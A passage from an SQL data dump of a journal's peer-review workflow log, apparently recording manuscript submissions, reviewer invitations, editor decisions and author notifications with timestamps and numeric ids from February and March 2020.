Reviewer',3467,'Publisher',75),(26318,'2020-02-26 10:08:21','Publisher has Invited Reviewer',3467,'Publisher',75),(26320,'2020-02-26 10:21:10','Manuscript Submitted by Author using Submission form',3479,'Author',4554),(26346,'2020-02-26 10:52:22','Editor has Accepted to review Manuscript',3467,'Editor',160),(26350,'2020-02-26 11:14:08','Reviewer has submitted comments',3261,'Reviewer',5406),(26351,'2020-02-26 11:14:40','Publisher : Notified Editor',3261,'Publisher',248),(26352,'2020-02-26 11:15:09','Editor has Accepted to review Manuscript',3261,'Editor',358),(26353,'2020-02-26 11:15:19','Editor has been Editor Decision Accepted article',3261,'Editor',358),(26354,'2020-02-26 11:15:43','Publisher: Accept Notification has been sent to Author',3261,'Publisher',248),(26356,'2020-02-26 11:19:05','Reviewer has submitted comments',3237,'Reviewer',9933),(26357,'2020-02-26 11:19:31','Publisher : Notified Editor',3237,'Publisher',248),(26358,'2020-02-26 11:19:57','Editor has Accepted to review Manuscript',3237,'Editor',358),(26359,'2020-02-26 11:20:21','Editor has been Editor Decision Accepted article',3237,'Editor',358),(26360,'2020-02-26 11:20:46','Publisher: Accept Notification has been sent to Author',3237,'Publisher',248),(26389,'2020-02-26 16:56:53','Publisher has been Assigned Editor',3479,'Publisher',48),(26390,'2020-02-26 16:57:19','Publisher has Invited Reviewer',3479,'Publisher',48),(26391,'2020-02-26 16:57:20','Publisher has Invited Reviewer',3479,'Publisher',48),(26392,'2020-02-26 16:57:20','Publisher has Invited Reviewer',3479,'Publisher',48),(26393,'2020-02-26 16:57:21','Publisher has Invited Reviewer',3479,'Publisher',48),(26394,'2020-02-26 17:17:19','Publisher has been Assigned Editor',3135,'Publisher',673),(26395,'2020-02-26 17:20:56','Publisher has Invited Reviewer',3479,'Publisher',48),(26396,'2020-02-26 17:21:08','Publisher has Invited Reviewer',3461,'Publisher',48),(26397,'2020-02-26 17:21:35','Publisher has Invited Reviewer',3460,'Publisher',48),(26398,'2020-02-26 17:26:11','Publisher has Invited Reviewer',3135,'Publisher',673),(26399,'2020-02-26 17:26:12','Publisher has Invited Reviewer',3135,'Publisher',673),(26400,'2020-02-26 17:26:13','Publisher has Invited Reviewer',3135,'Publisher',673),(26401,'2020-02-26 17:26:14','Publisher has Invited Reviewer',3135,'Publisher',673),(26402,'2020-02-26 17:26:15','Publisher has Invited Reviewer',3135,'Publisher',673),(26403,'2020-02-26 17:26:16','Publisher has Invited Reviewer',3135,'Publisher',673),(26404,'2020-02-26 17:26:17','Publisher has Invited Reviewer',3135,'Publisher',673),(26408,'2020-02-26 23:32:54','Manuscript Submitted by Author',3481,'Author',4014),(26409,'2020-02-27 09:11:55','Publisher has Invited Reviewer',3381,'Publisher',274),(26476,'2020-02-27 12:09:06','Publisher has Invited Reviewer',3447,'Publisher',75),(26477,'2020-02-27 12:09:13','Publisher has Invited Reviewer',3447,'Publisher',75),(26478,'2020-02-27 12:09:41','Publisher has Invited Reviewer',3447,'Publisher',75),(26479,'2020-02-27 12:10:11','Publisher has Invited Reviewer',3467,'Publisher',75),(26480,'2020-02-27 12:10:12','Publisher has Invited Reviewer',3467,'Publisher',75),(26481,'2020-02-27 12:10:44','Publisher has Invited Reviewer',3467,'Publisher',75),(26482,'2020-02-27 12:10:45','Publisher has Invited Reviewer',3467,'Publisher',75),(26483,'2020-02-27 12:10:55','Publisher has Invited Reviewer',3467,'Publisher',75),(26485,'2020-02-27 14:46:22','Reviewer has submitted comments',3381,'Reviewer',9897),(26486,'2020-02-27 14:47:11','Publisher : Notified Editor',3381,'Publisher',274),(26487,'2020-02-27 14:47:57','Editor has Accepted to review Manuscript',3381,'Editor',1235),(26488,'2020-02-27 14:48:21','Editor has been Revise (Notify Author) article',3381,'Editor',1235),(26489,'2020-02-27 14:49:02','Publisher : Notified Author',3381,'Publisher',274),(26490,'2020-02-27 14:49:24','Publisher : Notified Author',2584,'Publisher',274),(26497,'2020-02-27 16:19:02','Publisher has been Accepted Articles  article',3237,'Publisher',248),(26516,'2020-02-27 18:20:20','Publisher has been Assigned Editor',3481,'Publisher',85),(26519,'2020-02-27 18:29:31','Publisher has Invited Reviewer',3481,'Publisher',85),(26520,'2020-02-27 18:29:32','Publisher has Invited Reviewer',3481,'Publisher',85),(26521,'2020-02-27 18:29:34','Publisher has Invited Reviewer',3481,'Publisher',85),(26522,'2020-02-27 18:29:35','Publisher has Invited Reviewer',3481,'Publisher',85),(26523,'2020-02-27 18:29:36','Publisher has Invited Reviewer',3481,'Publisher',85),(26524,'2020-02-27 18:29:38','Publisher has Invited Reviewer',3481,'Publisher',85),(26525,'2020-02-27 19:56:31','Author sent Email',3479,'Author',4554),(26527,'2020-02-27 23:05:26','Manuscript Submitted by Author',3484,'Author',4560),(26529,'2020-02-28 06:26:05','Reviewer has submitted comments',3467,'Reviewer',10287),(26543,'2020-02-28 10:17:53','Manuscript has been Revised',3409,'Author',496),(26544,'2020-02-28 10:18:24','Manuscript has been Revised',3409,'Author',496),(26545,'2020-02-28 10:18:42','Manuscript has been Revised',3409,'Author',496),(26546,'2020-02-28 10:18:46','Manuscript has been Revised',3409,'Author',496),(26547,'2020-02-28 10:19:23','Manuscript has been Revised',3409,'Author',496),(26548,'2020-02-28 10:19:41','Manuscript has been Revised',3409,'Author',496),(26552,'2020-02-28 10:25:06','Publisher has Invited Reviewer',3481,'Publisher',85),(26553,'2020-02-28 10:25:07','Publisher has Invited Reviewer',3481,'Publisher',85),(26554,'2020-02-28 10:25:08','Publisher has Invited Reviewer',3481,'Publisher',85),(26555,'2020-02-28 10:25:09','Publisher has Invited Reviewer',3481,'Publisher',85),(26556,'2020-02-28 10:25:10','Publisher has Invited Reviewer',3481,'Publisher',85),(26557,'2020-02-28 10:25:36','Publisher has Invited Reviewer',3481,'Publisher',85),(26558,'2020-02-28 11:15:03','Publisher has Invited Reviewer',2723,'Publisher',84),(26559,'2020-02-28 11:15:04','Publisher has Invited Reviewer',2723,'Publisher',84),(26560,'2020-02-28 11:15:05','Publisher has Invited Reviewer',2723,'Publisher',84),(26561,'2020-02-28 11:15:06','Publisher has Invited Reviewer',2723,'Publisher',84),(26562,'2020-02-28 11:15:07','Publisher has Invited Reviewer',2723,'Publisher',84),(26563,'2020-02-28 11:15:08','Publisher has Invited Reviewer',2723,'Publisher',84),(26564,'2020-02-28 11:15:09','Publisher has Invited Reviewer',2723,'Publisher',84),(26565,'2020-02-28 11:35:41','Manuscript Submitted by Publisher',3486,'Publisher',984),(26566,'2020-02-28 11:36:10','Publisher: Accept Notification has been sent to Author',3390,'Publisher',248),(26567,'2020-02-28 11:36:17','Publisher has been Accepted Articles  article',3390,'Publisher',248),(26568,'2020-02-28 11:36:38','Publisher: Accept Notification has been sent to Author',3261,'Publisher',248),(26569,'2020-02-28 11:36:46','Publisher has been Accepted Articles  article',3261,'Publisher',248),(26570,'2020-02-28 11:37:19','Publisher has been Assigned Editor',3486,'Publisher',984),(26571,'2020-02-28 11:38:40','Editor has been Editor Decision Accepted article',3409,'Editor',194),(26572,'2020-02-28 11:39:09','Publisher: Accept Notification has been sent to Author',3409,'Publisher',48),(26573,'2020-02-28 13:28:15','Publisher : Notified Editor',3074,'Publisher',248),(26574,'2020-02-28 13:28:41','Editor has been Editor Decision Accepted article',3074,'Editor',357),(26575,'2020-02-28 13:29:04','Publisher: Accept Notification has been sent to Author',3074,'Publisher',248),(26576,'2020-02-28 13:29:16','Publisher has been Accepted Articles  article',3074,'Publisher',248),(26578,'2020-02-28 14:41:39','Publisher has been Accepted Articles  article',3183,'Publisher',274),(26579,'2020-02-28 14:48:50','Publisher has Invited Reviewer',3301,'Publisher',274),(26580,'2020-02-28 14:50:52','Publisher has Invited Reviewer',2723,'Publisher',84),(26581,'2020-02-28 14:50:53','Publisher has Invited Reviewer',2723,'Publisher',84),(26582,'2020-02-28 14:50:54','Publisher has Invited Reviewer',2723,'Publisher',84),(26583,'2020-02-28 14:50:55','Publisher has Invited Reviewer',2723,'Publisher',84),(26584,'2020-02-28 14:50:56','Publisher has Invited Reviewer',2723,'Publisher',84),(26585,'2020-02-28 14:50:57','Publisher has Invited Reviewer',2723,'Publisher',84),(26586,'2020-02-28 14:50:59','Publisher has Invited Reviewer',2723,'Publisher',84),(26587,'2020-02-28 14:51:00','Publisher has Invited Reviewer',2723,'Publisher',84),(26591,'2020-02-28 15:33:55','Manuscript Submitted by Author using Submission form',3488,'Author',4565),(26592,'2020-02-28 15:40:55','Publisher has Invited Reviewer',3301,'Publisher',274),(26593,'2020-02-28 15:40:59','Publisher has Invited Reviewer',3301,'Publisher',274),(26594,'2020-02-28 15:41:03','Publisher has Invited Reviewer',3301,'Publisher',274),(26595,'2020-02-28 15:41:07','Publisher has Invited Reviewer',3301,'Publisher',274),(26598,'2020-02-28 17:10:10','Editor has Accepted to review Manuscript',3378,'Editor',1367),(26599,'2020-02-28 17:10:25','Editor has been Editor Decision Accepted article',3378,'Editor',1367),(26600,'2020-02-28 17:10:41','Editor has been Editor Decision Accepted article',3378,'Editor',1367),(26601,'2020-02-28 17:11:09','Editor has Accepted to review Manuscript',3371,'Editor',1367),(26602,'2020-02-28 17:11:36','Editor has been Editor Decision Accepted article',3371,'Editor',1367),(26603,'2020-02-28 17:12:37','Publisher has been Accepted Articles  article',3371,'Publisher',972),(26604,'2020-02-28 17:13:16','Publisher: Accept Notification has been sent to Author',3371,'Publisher',972),(26605,'2020-02-28 17:15:05','Editor has Accepted to review Manuscript',3414,'Editor',1324),(26606,'2020-02-28 17:15:23','Editor has been Editor Decision Accepted article',3414,'Editor',1324),(26607,'2020-02-28 17:15:47','Publisher has been Accepted Articles  article',3414,'Publisher',972),(26608,'2020-02-28 17:16:06','Publisher has been Accepted Articles  article',3378,'Publisher',972),(26609,'2020-02-28 17:16:33','Publisher has been Accepted Articles  article',3195,'Publisher',972),(26610,'2020-02-28 17:39:24','Manuscript Submitted by Author using Submission form',3489,'Author',4566),(26624,'2020-02-28 19:50:59','Manuscript Submitted by Author using Submission form',3491,'Author',4568),(26631,'2020-02-29 09:07:09','Publisher has been Assigned Editor',3484,'Publisher',319),(26655,'2020-02-29 09:51:17','Publisher has Invited Reviewer',3447,'Publisher',75),(26656,'2020-02-29 09:51:18','Publisher has Invited Reviewer',3447,'Publisher',75),(26657,'2020-02-29 09:51:32','Publisher has Invited Reviewer',3447,'Publisher',75),(26658,'2020-02-29 09:51:34','Publisher has Invited Reviewer',3447,'Publisher',75),(26659,'2020-02-29 09:55:14','Editor has Accepted to review Manuscript',3484,'Editor',1067),(26660,'2020-02-29 10:20:32','Publisher has Invited Reviewer',3484,'Publisher',319),(26661,'2020-02-29 10:20:33','Publisher has Invited Reviewer',3484,'Publisher',319),(26662,'2020-02-29 10:20:34','Publisher has Invited Reviewer',3484,'Publisher',319),(26663,'2020-02-29 10:20:34','Publisher has Invited Reviewer',3484,'Publisher',319),(26664,'2020-02-29 10:20:35','Publisher has Invited Reviewer',3484,'Publisher',319),(26665,'2020-02-29 10:20:36','Publisher has Invited Reviewer',3484,'Publisher',319),(26666,'2020-02-29 10:20:50','Publisher has Invited Reviewer',3484,'Publisher',319),(26675,'2020-02-29 11:47:42','Publisher has been Assigned Editor',3488,'Publisher',48),(26676,'2020-02-29 11:47:50','Publisher has been Assigned Editor',3489,'Publisher',48),(26677,'2020-02-29 11:50:43','Publisher has Invited Reviewer',3489,'Publisher',48),(26678,'2020-02-29 11:50:44','Publisher has Invited Reviewer',3489,'Publisher',48),(26679,'2020-02-29 11:50:46','Publisher has Invited Reviewer',3489,'Publisher',48),(26680,'2020-02-29 11:50:47','Publisher has Invited Reviewer',3489,'Publisher',48),(26681,'2020-02-29 11:51:03','Publisher has Invited Reviewer',3488,'Publisher',48),(26682,'2020-02-29 11:51:04','Publisher has Invited Reviewer',3488,'Publisher',48),(26683,'2020-02-29 11:51:05','Publisher has Invited Reviewer',3488,'Publisher',48),(26684,'2020-02-29 11:51:07','Publisher has Invited Reviewer',3488,'Publisher',48),(26689,'2020-02-29 12:49:53','Publisher has Invited Reviewer',3486,'Publisher',984),(26691,'2020-02-29 15:35:06','Manuscript Submitted by Author using Submission form',3495,'Author',4574),(26699,'2020-03-01 04:38:32','Manuscript Submitted by Author using Submission form',3498,'Author',4576),(26700,'2020-03-01 09:10:39','Author sent Email',3301,'Author',4339),(26702,'2020-03-01 17:25:44','Reviewer has submitted comments',3481,'Reviewer',11424),(26704,'2020-03-02 09:25:53','Publisher has Invited Reviewer',3486,'Publisher',984),(26750,'2020-03-02 10:00:57','Publisher : Notified Editor',3481,'Publisher',85),(26751,'2020-03-02 10:01:42','Editor has Accepted to review Manuscript',3481,'Editor',1343),(26752,'2020-03-02 10:02:14','Editor has been Revise (Notify Author) article',3481,'Editor',1343),(26753,'2020-03-02 10:03:24','Publisher : Notified Author',3481,'Publisher',85),(26774,'2020-03-02 13:12:09','Editor has Accepted to review Manuscript',3479,'Editor',194),(26775,'2020-03-02 13:12:16','Editor has been Editor Decision Accepted article',3479,'Editor',194),(26776,'2020-03-02 13:12:21','Editor has Accepted to review Manuscript',3461,'Editor',194),(26777,'2020-03-02 13:12:29','Editor has been Editor Decision Accepted article',3461,'Editor',194),(26778,'2020-03-02 13:12:49','Publisher: Accept Notification has been sent to Author',3479,'Publisher',48),(26779,'2020-03-02 13:12:58','Publisher: Accept Notification has been sent to Author',3461,'Publisher',48),(26787,'2020-03-02 13:42:07','Publisher has been Assigned Editor',3498,'Publisher',48),(26794,'2020-03-02 14:10:22','Publisher has been Assigned Editor',3495,'Publisher',319),(26812,'2020-03-02 14:13:36','Manuscript Submitted by Publisher',3504,'Publisher',319),(26813,'2020-03-02 14:14:47','Manuscript Submitted by Publisher',3505,'Publisher',319),(26814,'2020-03-02 14:15:21','Publisher has been Assigned Editor',3505,'Publisher',319),(26815,'2020-03-02 14:15:35','Publisher has been Assigned Editor',3504,'Publisher',319),(26816,'2020-03-02 14:16:36','Publisher has Invited Reviewer',3505,'Publisher',319),(26817,'2020-03-02 14:16:37','Publisher has Invited Reviewer',3505,'Publisher',319),(26818,'2020-03-02 14:16:38','Publisher has Invited Reviewer',3505,'Publisher',319),(26819,'2020-03-02 14:16:39','Publisher has Invited Reviewer',3505,'Publisher',319),(26820,'2020-03-02 14:16:40','Publisher has Invited Reviewer',3505,'Publisher',319),(26821,'2020-03-02 14:16:41','Publisher has Invited Reviewer',3505,'Publisher',319),(26822,'2020-03-02 14:16:42','Publisher has Invited Reviewer',3505,'Publisher',319),(26823,'2020-03-02 14:16:43','Publisher has Invited Reviewer',3505,'Publisher',319),(26824,'2020-03-02 14:16:44','Publisher has Invited Reviewer',3505,'Publisher',319),(26825,'2020-03-02 14:16:45','Publisher has Invited Reviewer',3505,'Publisher',319),(26826,'2020-03-02 14:16:46','Publisher has Invited Reviewer',3505,'Publisher',319),(26827,'2020-03-02 14:16:47','Publisher has Invited Reviewer',3505,'Publisher',319),(26828,'2020-03-02 14:17:37','Publisher has Invited Reviewer',3504,'Publisher',319),(26829,'2020-03-02 14:17:38','Publisher has Invited Reviewer',3504,'Publisher',319),(26830,'2020-03-02 14:17:39','Publisher has Invited Reviewer',3504,'Publisher',319),(26831,'2020-03-02 14:17:40','Publisher has Invited Reviewer',3504,'Publisher',319),(26832,'2020-03-02 14:17:41','Publisher has Invited Reviewer',3504,'Publisher',319),(26833,'2020-03-02 14:17:42','Publisher has Invited Reviewer',3504,'Publisher',319),(26834,'2020-03-02 14:17:43','Publisher has Invited Reviewer',3504,'Publisher',319),(26835,'2020-03-02 14:17:44','Publisher has Invited Reviewer',3504,'Publisher',319),(26836,'2020-03-02 14:17:45','Publisher has Invited Reviewer',3504,'Publisher',319),(26837,'2020-03-02 14:17:46','Publisher has Invited Reviewer',3504,'Publisher',319),(26838,'2020-03-02 14:17:47','Publisher has Invited Reviewer',3504,'Publisher',319),(26839,'2020-03-02 14:17:48','Publisher has Invited Reviewer',3504,'Publisher',319),(26840,'2020-03-02 14:18:13','Publisher has Invited Reviewer',3495,'Publisher',319),(26841,'2020-03-02 14:18:14','Publisher has Invited Reviewer',3495,'Publisher',319),(26842,'2020-03-02 14:18:15','Publisher has Invited Reviewer',3495,'Publisher',319),(26843,'2020-03-02 14:18:16','Publisher has Invited Reviewer',3495,'Publisher',319),(26844,'2020-03-02 14:18:17','Publisher has Invited Reviewer',3495,'Publisher',319),(26845,'2020-03-02 14:18:18','Publisher has Invited Reviewer',3495,'Publisher',319),(26846,'2020-03-02 14:30:20','Editor has Accepted to review Manuscript',3504,'Editor',1067),(26847,'2020-03-02 14:31:31','Reviewer has been sent email to Publisher',3505,'Reviewer',9719),(26848,'2020-03-02 14:39:24','Reviewer has submitted comments',3486,'Reviewer',10967),(26887,'2020-03-02 18:01:15','Publisher: Accept Notification has been sent to Author',2756,'Publisher',85),(26890,'2020-03-02 19:27:54','Manuscript has been Revised',3481,'Author',4014),(26891,'2020-03-02 19:28:22','Manuscript has been Revised',3481,'Author',4014),(26892,'2020-03-02 19:30:44','Manuscript has been Revised',3481,'Author',4014),(26893,'2020-03-02 19:31:03','Manuscript has been Revised',3481,'Author',4014),(26897,'2020-03-03 09:59:03','Publisher has been Assigned Editor',3369,'Publisher',75),(26899,'2020-03-03 10:33:33','Reviewer has submitted comments',3135,'Reviewer',11354),(26928,'2020-03-03 11:17:09','Editor has Accepted to review Manuscript',3369,'Editor',160),(26929,'2020-03-03 11:18:19','Editor has Invited Reviewer',3369,'Editor',160),(26930,'2020-03-03 11:18:20','Editor has Invited Reviewer',3369,'Editor',160),(26931,'2020-03-03 11:18:21','Editor has Invited Reviewer',3369,'Editor',160),(26932,'2020-03-03 11:18:22','Editor has Invited Reviewer',3369,'Editor',160),(26933,'2020-03-03 11:18:23','Editor has Invited Reviewer',3369,'Editor',160),(26958,'2020-03-03 12:02:57','Publisher : Notified Editor',2759,'Publisher',85),(26959,'2020-03-03 12:03:35','Editor has been Editor Decision Accepted article',2759,'Editor',204),(26970,'2020-03-03 12:17:12','Publisher : Notified Editor',3481,'Publisher',85),(26980,'2020-03-03 14:09:49','Manuscript Submitted by Publisher',3509,'Publisher',48),(26981,'2020-03-03 14:09:59','Publisher has been Assigned Editor',3509,'Publisher',48),(26982,'2020-03-03 14:12:23','Publisher has Invited Reviewer',3509,'Publisher',48),(26983,'2020-03-03 14:12:25','Publisher has Invited Reviewer',3509,'Publisher',48),(26984,'2020-03-03 14:12:26','Publisher has Invited Reviewer',3509,'Publisher',48),(26985,'2020-03-03 14:12:27','Publisher has Invited Reviewer',3509,'Publisher',48),(26986,'2020-03-03 14:12:28','Publisher has Invited Reviewer',3509,'Publisher',48),(26987,'2020-03-03 14:12:30','Publisher has Invited Reviewer',3509,'Publisher',48),(26988,'2020-03-03 14:12:56','Publisher has Invited Reviewer',3498,'Publisher',48),(26989,'2020-03-03 14:12:57','Publisher has Invited Reviewer',3498,'Publisher',48),(26990,'2020-03-03 14:12:58','Publisher has Invited Reviewer',3498,'Publisher',48),(26991,'2020-03-03 14:12:59','Publisher has Invited Reviewer',3498,'Publisher',48),(26992,'2020-03-03 14:13:01','Publisher has Invited Reviewer',3498,'Publisher',48),(26993,'2020-03-03 14:13:02','Publisher has Invited Reviewer',3498,'Publisher',48),(26994,'2020-03-03 14:13:22','Publisher has Invited Reviewer',3489,'Publisher',48),(26995,'2020-03-03 14:13:23','Publisher has Invited Reviewer',3489,'Publisher',48),(26996,'2020-03-03 14:13:24','Publisher has Invited Reviewer',3489,'Publisher',48),(26997,'2020-03-03 14:13:52','Publisher has been Accepted Articles  article',3409,'Publisher',48),(27000,'2020-03-03 14:14:20','Publisher has been Accepted Articles  article',3249,'Publisher',48),(27001,'2020-03-03 14:15:29','Editor has Accepted to review Manuscript',3460,'Editor',194),(27002,'2020-03-03 14:15:38','Editor has been Editor Decision Accepted article',3460,'Editor',194),(27003,'2020-03-03 14:16:15','Publisher: Accept Notification has been sent to Author',3460,'Publisher',48),(27030,'2020-03-03 17:43:24','Publisher has been Accepted Articles  article',2681,'Publisher',48),(27045,'2020-03-03 22:21:11','Reviewer has submitted comments',3509,'Reviewer',11519),(27048,'2020-03-04 09:16:24','Reviewer has submitted comments',3489,'Reviewer',11519),(27049,'2020-03-04 09:16:43','Reviewer has updated comments',3509,'Reviewer',11519),(27050,'2020-03-04 09:25:53','Editor has been Editor Decision Accepted article',3460,'Editor',194),(27051,'2020-03-04 09:26:09','Editor has been Editor Decision Accepted article',3409,'Editor',194),(27052,'2020-03-04 09:26:24','Editor has Accepted to review Manuscript',3489,'Editor',194),(27053,'2020-03-04 09:26:33','Editor has been Editor Decision Accepted article',3489,'Editor',194),(27054,'2020-03-04 09:26:54','Editor has Accepted to review Manuscript',3509,'Editor',194),(27055,'2020-03-04 09:27:02','Editor has been Editor Decision Accepted article',3509,'Editor',194),(27056,'2020-03-04 09:27:38','Editor has been Editor Decision Accepted article',3403,'Editor',195),(27058,'2020-03-04 09:29:20','Reviewer has submitted comments',3498,'Reviewer',11519),(27081,'2020-03-04 09:59:07','Reviewer has submitted comments',3460,'Reviewer',11299),(27084,'2020-03-04 10:28:56','Editor has Invited Reviewer',3135,'Publisher',673),(27085,'2020-03-04 10:28:58','Editor has Invited Reviewer',3135,'Publisher',673),(27086,'2020-03-04 10:28:59','Editor has Invited Reviewer',3135,'Publisher',673),(27099,'2020-03-04 12:01:36','Reviewer has submitted comments',3509,'Reviewer',11520),(27100,'2020-03-04 12:07:17','Reviewer has submitted comments',3498,'Reviewer',11520),(27101,'2020-03-04 12:10:46','Reviewer has submitted comments',3489,'Reviewer',11520),(27103,'2020-03-04 12:17:36','Manuscript Submitted by Publisher',3513,'Publisher',85),(27104,'2020-03-04 12:18:25','Publisher has been Assigned Editor',3513,'Publisher',85),(27105,'2020-03-04 12:19:16','Publisher has Invited Reviewer',3513,'Publisher',85),(27106,'2020-03-04 12:19:17','Publisher has Invited Reviewer',3513,'Publisher',85),(27107,'2020-03-04 12:19:50','Publisher has Invited Reviewer',3513,'Publisher',85),(27108,'2020-03-04 12:19:51','Publisher has Invited Reviewer',3513,'Publisher',85),(27109,'2020-03-04 12:19:53','Publisher has Invited Reviewer',3513,'Publisher',85),(27110,'2020-03-04 12:19:54','Publisher has Invited Reviewer',3513,'Publisher',85),(27111,'2020-03-04 12:19:55','Publisher has Invited Reviewer',3513,'Publisher',85),(27112,'2020-03-04 12:19:56','Publisher has Invited Reviewer',3513,'Publisher',85),(27113,'2020-03-04 12:19:57','Publisher has Invited Reviewer',3513,'Publisher',85),(27114,'2020-03-04 12:19:58','Publisher has Invited Reviewer',3513,'Publisher',85),(27115,'2020-03-04 12:19:59','Publisher has Invited Reviewer',3513,'Publisher',85),(27116,'2020-03-04 12:20:00','Publisher has Invited Reviewer',3513,'Publisher',85),(27117,'2020-03-04 12:20:01','Publisher has Invited Reviewer',3513,'Publisher',85),(27118,'2020-03-04 12:20:08','Publisher has Invited Reviewer',3513,'Publisher',85),(27119,'2020-03-04 12:20:09','Publisher has Invited Reviewer',3513,'Publisher',85),(27120,'2020-03-04 12:20:09','Publisher has Invited Reviewer',3513,'Publisher',85),(27121,'2020-03-04 12:20:10','Publisher has Invited Reviewer',3513,'Publisher',85),(27123,'2020-03-04 13:21:10','Publisher has Invited Reviewer',3488,'Publisher',48),(27124,'2020-03-04 13:21:11','Publisher has Invited Reviewer',3488,'Publisher',48),(27125,'2020-03-04 13:21:12','Publisher has Invited Reviewer',3488,'Publisher',48),(27126,'2020-03-04 13:22:18','Publisher has Invited Reviewer',3045,'Publisher',48),(27127,'2020-03-04 13:22:19','Publisher has Invited Reviewer',3045,'Publisher',48),(27128,'2020-03-04 13:22:20','Publisher has Invited Reviewer',3045,'Publisher',48),(27145,'2020-03-04 17:34:04','Publisher: Accept Notification has been sent to Author',2759,'Publisher',85),(27152,'2020-03-04 19:08:09','Reviewer has submitted comments',3504,'Reviewer',9719),(27164,'2020-03-05 09:39:07','Publisher: Accept Notification has been sent to Author',3509,'Publisher',48),(27165,'2020-03-05 10:31:46','Publisher has been Assigned Editor',3519,'Publisher',673),(27185,'2020-03-05 11:42:59','Publisher has Invited Reviewer',3519,'Publisher',673),(27186,'2020-03-05 11:43:00','Publisher has Invited Reviewer',3519,'Publisher',673),(27187,'2020-03-05 11:43:01','Publisher has Invited Reviewer',3519,'Publisher',673),(27188,'2020-03-05 11:43:02','Publisher has Invited Reviewer',3519,'Publisher',673),(27189,'2020-03-05 11:43:03','Publisher has Invited Reviewer',3519,'Publisher',673),(27191,'2020-03-05 11:48:07','Publisher has been Withdrawn  article',1497,'Publisher',75),(27197,'2020-03-05 11:57:27','Publisher has been Accepted Articles  article',2988,'Publisher',75),(27198,'2020-03-05 12:00:46','Manuscript Submitted by Publisher',3522,'Publisher',48),(27199,'2020-03-05 12:00:55','Publisher has been Assigned Editor',3522,'Publisher',48),(27200,'2020-03-05 12:03:02','Publisher has Invited Reviewer',3522,'Publisher',48),(27201,'2020-03-05 12:03:03','Publisher has Invited Reviewer',3522,'Publisher',48),(27203,'2020-03-05 13:58:33','Publisher has been Withdrawn  article',3369,'Publisher',75),(27204,'2020-03-05 14:01:04','Publisher has Invited Reviewer',3154,'Publisher',75),(27205,'2020-03-05 14:01:05','Publisher has Invited Reviewer',3154,'Publisher',75),(27206,'2020-03-05 14:01:06','Publisher has Invited Reviewer',3154,'Publisher',75),(27218,'2020-03-05 17:09:18','Publisher has Invited Reviewer',3513,'Publisher',85),(27219,'2020-03-05 17:09:19','Publisher has Invited Reviewer',3513,'Publisher',85),(27220,'2020-03-05 17:09:20','Publisher has Invited Reviewer',3513,'Publisher',85),(27221,'2020-03-05 17:30:15','Publisher has Invited Reviewer',3154,'Publisher',75),(27222,'2020-03-05 17:30:16','Publisher has Invited Reviewer',3154,'Publisher',75),(27223,'2020-03-05 17:30:17','Publisher has Invited Reviewer',3154,'Publisher',75),(27224,'2020-03-05 17:30:18','Publisher has Invited Reviewer',3154,'Publisher',75),(27225,'2020-03-05 17:30:19','Publisher has Invited Reviewer',3154,'Publisher',75),(27226,'2020-03-05 17:30:30','Publisher has Invited Reviewer',3154,'Publisher',75),(27227,'2020-03-05 17:30:31','Publisher has Invited Reviewer',3154,'Publisher',75),(27228,'2020-03-05 17:30:45','Publisher has Invited Reviewer',3154,'Publisher',75),(27229,'2020-03-05 17:30:46','Publisher has Invited Reviewer',3154,'Publisher',75),(27230,'2020-03-05 17:30:47','Publisher has Invited Reviewer',3154,'Publisher',75),(27231,'2020-03-05 17:30:48','Publisher has Invited Reviewer',3154,'Publisher',75),(27232,'2020-03-05 17:31:55','Publisher has Invited Reviewer',3192,'Publisher',75),(27233,'2020-03-05 17:31:56','Publisher has Invited Reviewer',3192,'Publisher',75),(27234,'2020-03-05 17:31:57','Publisher has Invited Reviewer',3192,'Publisher',75),(27235,'2020-03-05 17:31:58','Publisher has Invited Reviewer',3192,'Publisher',75),(27236,'2020-03-05 17:31:59','Publisher has Invited Reviewer',3192,'Publisher',75),(27237,'2020-03-05 17:32:00','Publisher has Invited Reviewer',3192,'Publisher',75),(27238,'2020-03-05 17:32:01','Publisher has Invited Reviewer',3192,'Publisher',75),(27239,'2020-03-05 17:33:17','Publisher has Invited Reviewer',3209,'Publisher',75),(27240,'2020-03-05 17:33:18','Publisher has Invited Reviewer',3209,'Publisher',75),(27241,'2020-03-05 17:33:19','Publisher has Invited Reviewer',3209,'Publisher',75),(27242,'2020-03-05 17:33:20','Publisher has Invited Reviewer',3209,'Publisher',75),(27243,'2020-03-05 17:33:21','Publisher has Invited Reviewer',3209,'Publisher',75),(27244,'2020-03-05 17:33:22','Publisher has Invited Reviewer',3209,'Publisher',75),(27245,'2020-03-05 17:33:23','Publisher has Invited Reviewer',3209,'Publisher',75),(27246,'2020-03-05 17:33:55','Publisher has Invited Reviewer',3266,'Publisher',75),(27247,'2020-03-05 17:33:56','Publisher has Invited Reviewer',3266,'Publisher',75),(27248,'2020-03-05 17:33:58','Publisher has Invited Reviewer',3266,'Publisher',75),(27249,'2020-03-05 17:33:59','Publisher has Invited Reviewer',3266,'Publisher',75),(27250,'2020-03-05 17:34:15','Publisher has Invited Reviewer',3266,'Publisher',75),(27251,'2020-03-05 17:34:17','Publisher has Invited Reviewer',3266,'Publisher',75),(27252,'2020-03-05 17:34:18','Publisher has Invited Reviewer',3266,'Publisher',75),(27253,'2020-03-05 17:34:18','Publisher has Invited Reviewer',3266,'Publisher',75),(27254,'2020-03-05 17:34:20','Publisher has Invited Reviewer',3266,'Publisher',75),(27255,'2020-03-05 17:34:20','Publisher has Invited Reviewer',3266,'Publisher',75),(27262,'2020-03-05 18:06:06','Editor has been Editor Decision Accepted article',3481,'Editor',1343),(27263,'2020-03-05 18:06:34','Publisher: Accept Notification has been sent to Author',3481,'Publisher',85),(27264,'2020-03-05 20:29:42','Manuscript Submitted by Author using Submission form',3529,'Author',4611),(27265,'2020-03-05 23:04:42','Reviewer has been sent email to Publisher',3209,'Reviewer',638),(27396,'2020-03-06 10:31:33','Publisher has Invited Reviewer',3154,'Publisher',75),(27404,'2020-03-06 10:38:53','Manuscript Submitted by Publisher',3531,'Publisher',274),(27412,'2020-03-06 10:50:40','Manuscript Submitted by Publisher',3532,'Publisher',274),(27413,'2020-03-06 10:54:44','Editor has Accepted to review Manuscript',3456,'Editor',357),(27414,'2020-03-06 10:56:09','Editor has Invited Reviewer',3456,'Editor',357),(27415,'2020-03-06 10:56:10','Editor has Invited Reviewer',3456,'Editor',357),(27416,'2020-03-06 10:56:11','Editor has Invited Reviewer',3456,'Editor',357),(27417,'2020-03-06 10:56:12','Editor has Invited Reviewer',3456,'Editor',357),(27458,'2020-03-06 12:41:24','Reviewer has submitted 